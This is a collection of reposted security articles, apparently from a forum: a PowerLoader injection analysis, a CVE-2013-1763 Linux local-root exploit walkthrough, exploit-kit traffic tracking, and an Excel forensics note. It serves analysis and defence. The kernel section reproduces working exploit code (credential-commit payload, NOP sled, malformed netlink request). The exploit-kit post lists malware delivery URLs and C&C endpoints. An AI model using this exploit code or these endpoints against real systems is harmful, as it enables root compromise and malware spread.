EAX) The parameters for WriteProcessMemory are at address 00090DA0, these parameters cause WriteProcessMemory to read the shellcode from the shared section, then write it over ntdll!atan which we can assume isn't used by explorer. Finally the last instruction jumps to ntdll!atan and the code begins execution. [h=2]TLDR / Recap[/h] PowerLoader bypasses the execution protection on the shared sections, by using code found inside explorer to copy a ROP Chain to the stack, then uses the ROP Chain to manipulate the call stack into causing Explorer to call WriteProcessMemory and overwrite an unused function in ntdll with some shellcode to complete the injection. [h=2]Conclusion[/h] So there we have it, from non-executable section to shellcode execution by using explorer's own code against itself. I'll try and get a new article up soon, sorry for the inactivity <3 Posted by TM Sursa: Touch My Malware: PowerLoader Injection - Something truly amazing

[h=1]CVE-2013-1763 sock_diag_handlers Local Root Exploit Analysis[/h] March 20, 2013 By Andrea Sindoni In this article we will analyze the exploit released by Kacper Szczesniak for CVE -2013-1763. In simple terms this exploit takes advantage of a vulnerability at kernel-level of the array sock_diag_handlers, and allows a local user to gain privileges of “root” on the system. Before starting the analysis, however, the underlying concept should be clarified: in Linux systems, the user and kernel memory are implemented in different and independent address spaces, also these address spaces are virtualized and then mapped into physical memory using the page tables. In particular, if we assume to have a 32-bit Linux system, we will have 4GB of addresses available, of these 3GB are made ??available to the user memory and 1GB is left for the memory kernel, then the user will be assigned memory addresses ranging 0×00000000 to 0xBFFFFFFF, while the kernel memory addresses ranges from 0xC0000000 through 0xFFFFFFFF. Full exploit’s source code is available here. First of all we analyze the following lines of code: int __attribute__((regparm(3))) ) { commit_creds(prepare_kernel_cred(0)); return -1; } char stage1[] = "\xff\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; commit_creds = (_commit_creds) 0xffffffff8107d180; prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff8107d410; *(unsigned long *)&stage1[sizeof(stage1)-sizeof(&x)] = (unsigned long)x; memset((void *)mmap_start, 0x90, mmap_size); memcpy((void *)mmap_start+mmap_size-sizeof(stage1), stage1, sizeof(stage1)); The kernel functions take the arguments from registers. The array contains stage1 asm instructions that are easy to decode: $ gcc -c exp.c$ objdump -D exp.o Disassembly of the section. Date:0000000000000000 <stage1>:0: ff 25 00 00 00 00 jmpq *0x0(%rip) # 6 <stage1+0x6> As we can see that the array contains a jmpq statement (this is equivalent JMP QWORD PTR in the x86 architecture) to the register pointer instruction %rip. In the x86-64 architecture, the address of commit_creds and prepare_kernel_cred are loaded relative to RIP. What we really want is a root shell. Kernel can not just call system (“/bin/sh”). But it can easily give root privileges to the current process: commit_creds(prepare_kernel_cred(0)); With the following code: *(unsigned long *)&stage1[sizeof(stage1)-sizeof(&x)] = (unsigned long)x;memset((void *)mmap_start, 0x90, mmap_size); memcpy((void *)mmap_start+mmap_size-sizeof(stage1), stage1, sizeof(stage1)); policed ??injected the instructions contained in the array stage1, this is used to create a NOP sled (an array of NOP (size 0×10000)) so as to slide RIP until it reaches our instructions. Let’s now analyze the heart of the exploit: struct { struct nlmsghdr nlh; struct unix_diag_req r; } req; char buf[8192]; if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){ printf("Can't create sock diag socket\n"); return -1; } memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = sizeof(req); req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY; req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; req.nlh.nlmsg_seq = 123456; req.r.udiag_states = -1; req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN; /* Ubuntu 12.10 x86_64 */ req.r.sdiag_family = 0x37; We start with fd = socket (AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG), the Netlink socket is used to transfer information between processes and the kernel’s space. An application for each netlink message it conveys must provide the following header: struct nlmsghdr { __u32 nlmsg_len; /* Length of message including header. */ __u16 nlmsg_type; /* Type of message content. */ __u16 nlmsg_flags; /* Additional flags. */ __u32 nlmsg_seq; /* Sequence number. */ __u32 nlmsg_pid; /* PID of the sending process. */ }; We’re very interested in the content of the message type or nlmsg_type, which in this case is set with the value SOCK_DIAG_BY_FAMILY. The structure unix_diag_req however, is declared inside sock_diag.h, while in the file net/core/sock_diag.c you can find all the important features, but let’s focus on the following code: static const struct sock_diag_handler *sock_diag_handlers[AF_MAX];static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh) { int err; struct sock_diag_req *req = nlmsg_data(nlh); const struct sock_diag_handler *hndl; if (nlmsg_len(nlh) < sizeof(*req)) return -EINVAL; /* check for "req->sdiag_family >= AF_MAX" goes here */ hndl = sock_diag_lock_handler[req->sdiag_family]; if (hndl == NULL) err = -ENOENT; else err = hndl->dump(skb, nlh); sock_diag_unlock_handler(hndl); return err; } The function sock_diag_lock_handler(), returns the family number received in the NetLink request. We note that the array sock_diag_handlers, is AF_MAX size and the current code has no validation check, this means that you can send a request message netlink SOCK_DIAG_BY_FAMILY with a family greater than or equal to AF_MAX. Since AF_MAX is 40, we can effectively return from memory after the end of sock_diag_handlers (“out-of-bounds access”) if we specify a family greater or equal to 40. So we can investigate further the function sock_diag_register() that accesses the array sock_diag_handler and analyze it at the kernel level. $ sudo cat /proc/kallsyms | grep sock_diag_register ffffffff81584ae0 T sock_diag_register Now we can start gdb: sudo gdb -c /proc/kcore (gdb) x/23i 0xffffffff81584ae0 0xffffffff81584ae0: push %rbp 0xffffffff81584ae1: mov %rsp,%rbp 0xffffffff81584ae4: sub $0x10,%rsp 0xffffffff81584ae8: mov %rbx,-0x10(%rbp) 0xffffffff81584aec: mov %r12,-0x8(%rbp) 0xffffffff81584af0: data32 data32 data32 xchg %ax,%ax 0xffffffff81584af5: cmpb $0x27,(%rdi) 0xffffffff81584af8: mov $0xffffffea,%ebx 0xffffffff81584afd: mov %rdi,%r12 0xffffffff81584b00: ja 0xffffffff81584b2c 0xffffffff81584b02: mov $0xffffffff81ca9fa0,%rdi 0xffffffff81584b09: mov $0xf0,%bl 0xffffffff81584b0b: callq 0xffffffff8167f410 0xffffffff81584b10: movzbl (%r12),%eax 0xffffffff81584b15: cmpq $0x0,-0x7e0d6f20(,%rax,8) 0xffffffff81584b1e: je 0xffffffff81584b40 0xffffffff81584b20: mov $0xffffffff81ca9fa0,%rdi 0xffffffff81584b27: callq 0xffffffff8167f3b0 0xffffffff81584b2c: mov %ebx,%eax 0xffffffff81584b2e: mov -0x8(%rbp),%r12 0xffffffff81584b32: mov -0x10(%rbp),%rbx 0xffffffff81584b36: leaveq 0xffffffff81584b37: retq Note that the line: [TABLE] [TR] [TD=class: code] 0xffffffff81584af5: CMPB $ 0x27, (% rdi) [/TD] [/TR] [/TABLE] Makes the statement if (HNDL-> family> = AF_MAX). While the line: [TABLE] [TR] [TD=class: code] 0xffffffff81584b15: cmpq $ 0x0,-0x7e0d6f20 (,% rax, 8) [/TD] [/TR] [/TABLE] Checks if (sock_diag_handlers [HNDL-> family]). Finally we can see the exploit at work: [TABLE] [TR] [TD=class: code] $gcc -o exp exp.c $./exp # id uid = 0 (root) gid = 0 (root) groups = 0 (root) [/TD] [/TR] [/TABLE] …And we have full control on the machine. How do we solve the issue? To fix the leak, you need to update the system, namely the following package: “linux-ti-OMAP4? 3.5.0-220.29 (for more information https://launchpad.net/ubuntu/+source/linux-ti-omap4/3.5.0-220.29), making sure at the new version number of the kernel packages, due to change ABI (Application Binary Interface). Sursa: CVE-2013-1763 sock_diag_handlers Local Root Exploit Analysis

Format String Vulnerability The above statement is quite common in C programs. In the lecture, we will find out what can go wrong if the program is running with privileges (e.g. Set-UID program). Format String What is a format string? printf ("The magic number is: %d\n", 1911); Download: http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf

[h=1]jre7u21 and earlier Click-2-Play Warning Bypass integrating Exploit Kits[/h] A new variant of a "Kore-ish" Cool EK appeared few days ago. Yes...it's difficult to follow the EK fast moving landscape...No payload in the jar for that one. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Some instances of this "Cool EK" in URLQuery[/TD] [/TR] [/TABLE] I faced it often where I used to see Kore (aka Sibhost) Exploit Kit. It is also used to spread the Urausy Ransomware and FakeAV (so... BestAV stuff) All jar found there were identical as those in Blackhole. Till today. CVE-2013-2460 + Click2Play Bypass : That CVE was already in use in Private Exploit Pack but it was noisy (Imposition then made it optional ) [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]CVE-2013-2460 successfull path in Cool EK (Kore-ish) Click2Play Bypass inside 2013-09-20[/TD] [/TR] [/TABLE] GET http://[redacted].tacogratis .com/index.php?p=5267 200 OK (text/html) [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Key Piece of the landing[/TD] [/TR] [/TABLE] GET http://[redacted].tacogratis .com/index.php?p=5290 200 OK (text/javascript) GET http://[redacted].tacogratis .com/index.php?p=5268 fb1decbef1c4361eb421a3496201ef30 200 OK (application/java-archive) GET http://[redacted].tacogratis .com/index.php?p=5268 200 OK (application/java-archive) GET http://cghtuj.tacogratis .com/index.php?p=5275&e=14 200 OK (application/x-msdownload) 170896de44d75651bbbd9358b0f11c34 (Urausy Ransomware) ----- Off Topic ---- Payload is rotating fast (2 more md5) : b56348220f83ad9db50cb5beb564148b 64ef8f2cb215af4b2fbcb51cadfcc025 [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Urauy Ransomware - DE design - 2013-09-20 (BestAV soft 2)[/TD] [/TR] [/TABLE] Note : on another thread you can get a FakeAV [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Payload call with bigger charge[/TD] [/TR] [/TABLE] 9d8d3094849f685859945140721aafb1 7fb9423c4bdf7080137745e81ba38362 13e24b552ea472146495ac8a33cca975 [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Other payload from this "Kore-ish" Cool EK (BestAV Soft1)[/TD] [/TR] [/TABLE] ------------------- So what's that Click2Play bypass ? Quite surely : Bugtraq: VUPEN Security Research - Oracle Java Preloader Click-2-Play Warning Bypass Vulnerability 2013-06-18 - Vulnerability Fixed in Java 7u25 Yes : [TABLE=class: tr-caption-container, align: center] [TR] [TD][/TD] [/TR] [TR] [TD=class: tr-caption]Warning with jre7u25 (and as CVE-2013-2460 is patch too...clicking on run there won't put you at risk) [/TD] [/TR] [/TABLE] It's the first time I see that. 5 days ago : Who sold it ? ?? No download link for now. Yes it will spread fast anyway. It's easy to get rid of all these Exploit Kits : update ! <edit1 2013-09-21> Already in Sakura...surely cause of that blog post. It's often difficult to decide how much you can write about something. Sakura CVE-2013-2460 & Click2Play Bypass : [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center] Sakura featuring CVE-2013-2460 & Click2Play bypass 2013-09-21 [/TD] [/TR] [/TABLE] GET http://[redacted]253 .pw:8509/me.php 200 OK (text/html) [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Precision Strike new Click2Play bypass for 21 version[/TD] [/TR] [/TABLE] [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Jnlp call[/TD] [/TR] [/TABLE] GET http://[redacted] .pw:8509/[redacted].ee 200 OK (application/java-archive) dca89d839abbb8f621a87de94d20d8f2 CVE-2013-2460 [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Piece of CVE-2013-2460 in Sakura Jar 2013-09-21 [/TD] [/TR] [/TABLE] GET http://[redacted] .pw:8509/bodystarswild.ee 200 OK (application/java-archive) GET http://[redacted] .pw:8509/2889.ld 200 OK (application/octet-stream) Once decoded : 5fba8226303967ccfd27ea8710a8b99d I think it's a Smokebot ----- Off Topic ---- C&C Calls : mexstat757.com POST /satep757/index.php mexstat220.pw GET /setex/sev57.exe mexstat220.pw GET /setex/pm555.exe etc... 46.165.201.27 16265 | 46.165.192.0/18 | LEASEWEB | DE | LEASEWEB.COM | LEASEWEB GERMANY GMBH It's the same guys than those who were behind this one year old post : From Sakura to Reveton via Smoke Bot - Or a Botnet Distribution of Reveton 2012-09-12 Since then Smoke Bot is now encrypting its network calls. Analysis by Joe Sandbox Cloud ---------------------- </edit1> <edit2: 2013-09-23> Nuclear Pack : CVE-2013-2460 + Click2Play bypass Announced Underground : "???????? ???? exploit, ?????? ????????. ???????? ???? ? ?? ???????" Nuclear which means something like: "New exploit added, breaking rate increased, works silently and scorched" [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]CVE-2013-2460 with no security prompt successful path in Nuclear Pack 2013-09-23[/TD] [/TR] [/TABLE] GET http://[redacted].flogdoyfohoqobl .biz:12421/3dfa4ffa555573ba6fbb54a243289806/4/5b1bb46b5a96bee3ebbb1d2251d968bb.html 200 OK (text/html) [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Precision Strike (Thanks @EKWatcher )[/TD] [/TR] [/TABLE] [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]jnlp call in Nuclear Pack After Deobfuscation (Thanks @EKWatcher )[/TD] [/TR] [/TABLE] GET http://[redacted].flogdoyfohoqobl .biz:12421/b26c7ee3934bb471d1e1a7e4072dc6ef/1379924555/ba365f21b8ebcfe78ba8a843b76c2d06.jar 200 OK (application/java) GET http://[redacted].flogdoyfohoqobl .biz:12421/b26c7ee3934bb471d1e1a7e4072dc6ef/1379924555/ba365f21b8ebcfe78ba8a843b76c2d06.jar 200 OK (application/java) e03455403f226b23be42b30733a26101 [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Piece of CVE-2013-2460 in Nuclear Pack 2013-09-23[/TD] [/TR] [/TABLE] GET http://[redacted].flogdoyfohoqobl .biz:12421/f/1379924555/ba365f21b8ebcfe78ba8a843b76c2d06/b26c7ee3934bb471d1e1a7e4072dc6ef/2 200 OK (application/octet-stream) Decoded : 3a9d1dcad1176717711eb92b25f7d6b0 GET http://[redacted].flogdoyfohoqobl .biz:12421/f/1379924555/ba365f21b8ebcfe78ba8a843b76c2d06/b26c7ee3934bb471d1e1a7e4072dc6ef/2/2 200 OK (application/octet-stream) ----------- Out of Topic ----------- C&C : 185.6.80.125 - 61422 | 185.6.80.0/24 | TD-VITA | RU | - | TD-VITA LLC. for instance : POST /mBj7cjhH/gate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/4.0 Host: halifaxkilo.com Analysis by Joe Sandbox Cloud ------------------------------------ </edit2> <edit3> Styx CVE-2013-2472 + Click2Play Bypass : Many Thanks to Timo Hirvonen from F-Secure for identifying the CVE. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Reveton Pushed in Styx 2013-09-24 Using CVE-2013-2472 & Click2Play Bypass on jre7u21 We can see the call for Bitcoin miner after VM Reboot.[/TD] [/TR] [/TABLE] GET http://[redacted].info/hsZv/3J17_DtR/13C_ht11nF-E17H_R60kufr_0HUzD0c/xrB/055RR0/iWsU0-VEw-x0Rm-ou0xvC-3/ 302 Found to http://an-wis.info/uhoTif0-WROr0Q-37C0-yBpl_0aj_cG16VuZ-02qAE/0JPA/w09M/S80Jx/Hc0oCWv_0nM3V-12GaV0/PRhA0DV_5j0SVPd0_gTY8/087-Ei00X-ri0W_8rf0nQV-S0jRk9-0jX_AJ0XhbQ/09W5/L07cS20/QYjr0TG-2r_0vM0-I038Gx0_AYCo0z70V/0sy-Lq0E6N-s0TW70/0U1w2-15hVc0U_zhI0/HLYx0gj_iQ16G-rf0hrk/D137BV_05Qr/Q0Nr8A0RN/GY0Vt-dw0Ke-7d17t9_n0Wnx-B/ GET http://[redacted].info/uhoTif0-WROr0Q-37C0-yBpl_0aj_cG16VuZ-02qAE/0JPA/w09M/S80Jx/Hc0oCWv_0nM3V-12GaV0/PRhA0DV_5j0SVPd0_gTY8/087-Ei00X-ri0W_8rf0nQV-S0jRk9-0jX_AJ0XhbQ/09W5/L07cS20/QYjr0TG-2r_0vM0-I038Gx0_AYCo0z70V/0sy-Lq0E6N-s0TW70/0U1w2-15hVc0U_zhI0/HLYx0gj_iQ16G-rf0hrk/D137BV_05Qr/Q0Nr8A0RN/GY0Vt-dw0Ke-7d17t9_n0Wnx-B/ 200 OK (text/html) GET http://[redacted].info/uhoTif0-WROr0Q-37C0-yBpl_0aj_cG16VuZ-02qAE/0JPA/w09M/S80Jx/Hc0oCWv_0nM3V-12GaV0/PRhA0DV_5j0SVPd0_gTY8/087-Ei00X-ri0W_8rf0nQV-S0jRk9-0jX_AJ0XhbQ/09W5/L07cS20/QYjr0TG-2r_0vM0-I038Gx0_AYCo0z70V/0sy-Lq0E6N-s0TW70/0U1w2-15hVc0U_zhI0/HLYx0gj_iQ16G-rf0hrk/D137BV_05Qr/Q0Nr8A0RN/GY0Vt-dw0Ke-7d17t9_n0Wnx-B/yavirts.html 200 OK (text/html) GET http://[redacted].info/uhoTif0-WROr0Q-37C0-yBpl_0aj_cG16VuZ-02qAE/0JPA/w09M/S80Jx/Hc0oCWv_0nM3V-12GaV0/PRhA0DV_5j0SVPd0_gTY8/087-Ei00X-ri0W_8rf0nQV-S0jRk9-0jX_AJ0XhbQ/09W5/L07cS20/QYjr0TG-2r_0vM0-I038Gx0_AYCo0z70V/0sy-Lq0E6N-s0TW70/0U1w2-15hVc0U_zhI0/HLYx0gj_iQ16G-rf0hrk/D137BV_05Qr/Q0Nr8A0RN/GY0Vt-dw0Ke-7d17t9_n0Wnx-B/jplay.html 200 OK (text/html) (jnlp call) [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Click2Play Bypass in Styx 2013-09-24[/TD] [/TR] [/TABLE] GET http://[redacted].info/uhoTif0-WROr0Q-37C0-yBpl_0aj_cG16VuZ-02qAE/0JPA/w09M/S80Jx/Hc0oCWv_0nM3V-12GaV0/PRhA0DV_5j0SVPd0_gTY8/087-Ei00X-ri0W_8rf0nQV-S0jRk9-0jX_AJ0XhbQ/09W5/L07cS20/QYjr0TG-2r_0vM0-I038Gx0_AYCo0z70V/0sy-Lq0E6N-s0TW70/0U1w2-15hVc0U_zhI0/HLYx0gj_iQ16G-rf0hrk/D137BV_05Qr/Q0Nr8A0RN/GY0Vt-dw0Ke-7d17t9_n0Wnx-B/NyJjQvjE.jar 200 OK (application/java-archive) GET http://[redacted].info/uhoTif0-WROr0Q-37C0-yBpl_0aj_cG16VuZ-02qAE/0JPA/w09M/S80Jx/Hc0oCWv_0nM3V-12GaV0/PRhA0DV_5j0SVPd0_gTY8/087-Ei00X-ri0W_8rf0nQV-S0jRk9-0jX_AJ0XhbQ/09W5/L07cS20/QYjr0TG-2r_0vM0-I038Gx0_AYCo0z70V/0sy-Lq0E6N-s0TW70/0U1w2-15hVc0U_zhI0/HLYx0gj_iQ16G-rf0hrk/D137BV_05Qr/Q0Nr8A0RN/GY0Vt-dw0Ke-7d17t9_n0Wnx-B/NyJjQvjE.jar 200 OK (application/java-archive) 3c812730758b9118ba4764adf3ab53bc GET http://[redacted].info/r007gL_0e2X80Ooo-30N1XG/0C/rt/d0tg2C-0e_l6L0H_NL40C05W/0aDec0A/b5g-04-yuI0i3/KS00i/AE0m/VuD0uHFw0/pRgP0Dy-z80J_Aek0Y_hcr0AhC_80_lWyk13f/It0865-L0O_GKn-0E/1dA0baP00-1EAC0QAs/R0f-4Bq0ZIn-f0X_4n-30otyr-05Y83-0ZxLA/17y/RZ0I/MM60-Ajpo06eml/0gVj_P0Yv3E0MRn/30AF6J0H/9ZU0f/WRI0wAPs11/ttO0CZz_j0leh-i0k1X_l0oDdd_0ah_pC/kC4XSO15ZD.exe?lniV=7decb&h=16 200 OK (application/x-dosexec) 4a0e95c28b2b5b6259b7b558c3565988 ----------- Out of Topic : Payload ----------- Reveton. C&C Reverse Proxy : [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Reveton Calling Home 2013-09-24[/TD] [/TR] [/TABLE] 64.191.122.10 - 21788 | 64.191.0.0/17 | NOC | US | NOCINC.COM | NETWORK OPERATIONS CENTER INC. We can see the call to the Bitcoin Miner (read: Ransomware Puts Your System To Work Mining Bitcoins ) The binary is not there anymore since 2013-09-11 (was : 2794fd5b64b585df132b4524b82d18c8 ) -------------------------------------------------- </edit3> <edit4 : 2013-09-24> Neutrino : CVE-2013-2460 + Click2Play bypass It seems the integration has been far from smooth for the Neutrino coder. The jar is inside the Exploit Kit since more than 3 days. The coder announced the new exploit 2 days ago...but the warning was still here and even validating the execution your were safe. Some protections were removed (you could hit the exploit kit as many time as you want with same IP without problem...seems like someone else was testing it ). And the 22 (sunday) more than half a day with all threads in 404...But in the end...he made it. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]CVE-2013-2460 + Click2Play ByPass in Neutrino 2013-09-24[/TD] [/TR] [/TABLE] Will only keep relevant calls : GET http://[redacted].dyndns .info:8000/gxstfkhf?ttdwjipi=4128154 200 OK (text/html) GET http://ajax.googleapis .com/ajax/libs/jquery/1.9.1/jquery.min.js 200 OK (text/javascript) GET http://[redacted].dyndns .info:8000/index.js 200 OK (application/x-javascript) POST http://[redacted].dyndns .info:8000/twpnnurhbg 200 OK (text/html) [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Encoded Jnlp[/TD] [/TR] [/TABLE] Applying the Neutrino "xor" function with key "qoxacfix" [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Jnlp[/TD] [/TR] [/TABLE] Base64 decode of the jnlp_embedded value : GET http://[redacted].dyndns .info:8000/rclmrcfdvdjtq?joiihv=uihuzdhhuq 200 OK (application/java-archive) GET http://[redacted].dyndns .info:8000/rclmrcfdvdjtq?joiihv=uihuzdhhuq 200 OK (application/java-archive) 3fcac6c64ce0ca28ee615a8fad224dd3 [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Piece of slightly obfuscated CVE-2013-2460 in Neutrino (since 2013-09-21 in fact)[/TD] [/TR] [/TABLE] GET http://[redacted].dyndns .info:8000/faybcc?juzickeew=uihuzdhhuq 200 OK (application/octet-stream) Decoded : a126281477c856b9358de5aea1369990 who drop : 898b9aee9931230ef3bc0c59eb541c55 - Didn't spend too much time to figure out what it is. Saw 404 POST to : http://allewnuado .ru/perl/config.php - 79.174.64.127 47385 | 79.174.64.0/19 | HOSTING-COMPANY | RU | HC.RU | HOSTING CENTER LTD. </edit4> <edit5 2013-09-25> Blackhole : CVE-2013-2460 Click2Play Bypass I saw that jar yesterday already being pushed without exploitation to jre7u21 in /closest/ Blackhole. It's the exact same jar as the Cool EK in "/index.php?p=" that introduce the Bypass. Today on the /Home/ (aka q.php) Darkleech fuelled BH EK the Click2Play bypass is here. And payload is as always Pony (steal passwords and act as loader. No change since at least December. It pushes Urausy in some countries or Nymaim in other countries (which can then get another version of Nymaim with locker functionnality or Zaccess). This has been well explained by Eset. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]BH EK /Home/ aka q.php CVE-2013-2460 + Click2play bypass 2013-09-25[/TD] [/TR] [/TABLE] GET http://64.246.3 .59/e354340618f9c3a8d474225ef7cc6b2a/panic-portable.php 200 OK (text/html) [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Conditions for the bypass call[/TD] [/TR] [/TABLE] [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]jnlp call[/TD] [/TR] [/TABLE] GET http://64.246.3 .59/e354340618f9c3a8d474225ef7cc6b2a/panic-portable.php?!0M!6J=1F_*H4z-I*!f&Jk__*zFA_92-*=7*K9_Kp1 200 OK (application/java-archive) GET http://64.246.3 .59/e354340618f9c3a8d474225ef7cc6b2a/panic-portable.php?!0M!6J=1F_*H4z-I*!f&Jk__*zFA_92-*=7*K9_Kp1 200 OK (application/java-archive) f5fc4540e6e64efee8711007ac0d4ed1 [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]CVE-2013-2460 in BH EK 2013-09-25[/TD] [/TR] [/TABLE] GET http://64.246.3 .59/e354340618f9c3a8d474225ef7cc6b2a/panic-portable.php?-*Z73922k0NUj8=8b8cwd8aww&*F21!gX=w88c8dw6wdw7wbwbwd8c&!_239!6W25u*_=ww&59*!a34-d1_2!uT=u*g88*8&OF2EFwol0!3_9=7ZF!Y*08*!P_75m 200 OK (application/x-msdownload) - acb80f0eaa177953a53f3be188c8e3da Analysis and sample: Malwr.com </edit5> Posted 1 week ago by Kafeine Sursa: Malware don't need Coffee: jre7u21 and earlier Click-2-Play Warning Bypass integrating Exploit Kits

[h=3]MS Excel and BIFF Metadata: Last Opened By[/h] In my last post, I discussed using an OLE timestamp to determine the last time an Excel spreadsheet was opened and closed without being saved. The last opened time can be very helpful, but wouldn't it be nice to know more about who may have opened the file? The Last Saved By metadata field will help if the file was saved after it was opened, but it may not provide additional information if the file was not saved. However, the file's Workbook stream, comprised of a Binary Interchange File Format (BIFF) data structure, includes a field that records the user name associated with the account that last opened the Excel spreadsheet. This data is recorded regardless of whether the file is saved and can provide information regarding the last user that opened the file. [h=4]The Details[/h] Microsoft Excel spreadsheets saved in the OLE compound file format utilize the Binary Interchange File Format (BIFF) for saving data in the Workbook stream of the spreadsheet. I'm not going to cover the intricacies of the BIFF here; for more information, refer to the Microsoft specification. There is more than one version of BIFF as well; version 8 is the specific version addressed in this post. According to this Microsoft KB article, "when you open an Excel workbook, Excel writes the name of the current user to the header of the file" (the article later states that this does not apply to .xlsx files). The "header" of the file, as it's described, is actually the "Write Access User Name" record within the BIFF data structure that comprises the file's Workbook stream. It's important to note that the user name is referenced from the UserInfo subkey in the user's NTUSER.DAT, which may not be the same as the user name of the Windows account. Regardless of whether the file is saved, the user name is written to the Write Access User Name record. As such, data stored in this record may be different from the Last Saved By metadata field located in the Summary Information stream. When the "Protected View" warning bar appears (requiring the user to click "Enable Editing" to edit the spreadsheet), it appears that updates to the Write Access User Name record will depend on the volume from which the file was opened. Opening a file that was downloaded from the Internet but stored on the local hard disk results in an update to user name in the record (regardless of whether the "Enable Editing" button is clicked by the user). Opening a file from a network resource will not update the record unless the user clicks the "Enable Editing" button. It should be noted though that my testing has been limited with regard to the Protected View functionality. Interestingly, it appears that as different users open the same spreadsheet, the Write Access User Name record is simply overwritten as opposed to the previous user name being cleared first. This means that you may find residual data following the end of the most recent user name. The screenshot below depicts this scenario. The most recent user name is "Jason", while "e 2010" is still stored in the record (the previous user name was "Office 2010"). This remained consistent in my testing of Excel 2000, 2007, and 2010 (I did not have Excel 2003 or 2013 available to me at the time of testing). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Write Access User Name record[/TD] [/TR] [/TABLE] [h=4]Finding the Record[/h] The Write Access User Name record should be stored near the beginning of the Workbook stream. You can easily view this stream using a tool such as SSView, although the user name may not be parsed out automatically. Once you've identified the Workbook stream, the user name should be visible in a hex editor. The only tool I've currently tested that parses the user name is X-Ways Forensics, so it may be necessary to manually parse this record if you don't have a tool that will do it for you (or if you want to verify the results of your tool or just enjoy manually parsing data structures). An easy way to find the Write Access User Name record within the Workbook stream is to search for a block of 0x20. According to the MS documentation, this record should be exactly 112 bytes in size and is padded with spaces (0x20) after the end of the user name. Since most user names will likely only be a few characters in length, a block of 0x20 after the end of the name will be necessary for padding the record to 112 bytes. This method should work for identifying the Write Access User Name record, but I would recommend following along using the binary specification referenced earlier to develop a better understanding of the data structure. If there is residual data after the current user name in the record, familiarity with the data structure will allow you to easily distinguish between current and previous data. [h=4]Forensic Implications[/h] Parsing the data from the Write Access User Name record within an Excel spreadsheet saved in the OLE compound file format can provide an examiner with a metadata field that may be equated to the "Last Opened By" user. This can be particularly helpful when a limited set of data is provided for analysis or otherwise any time information regarding the last time a spreadsheet was opened is significant. By combining this data with the OLE Root Entry last modified time, it is possible for an examiner to determine the last time an Excel spreadsheet was opened as well as the user name associated with the account that opened the spreadsheet, even if the file was not saved and nothing other than the file itself is available for analysis. Resources Microsoft Excel (xls) Binary File Format Specification Posted by Jason Hale at 1:28 AM Sursa: Digital Forensics Stream: MS Excel and BIFF Metadata: Last Opened By

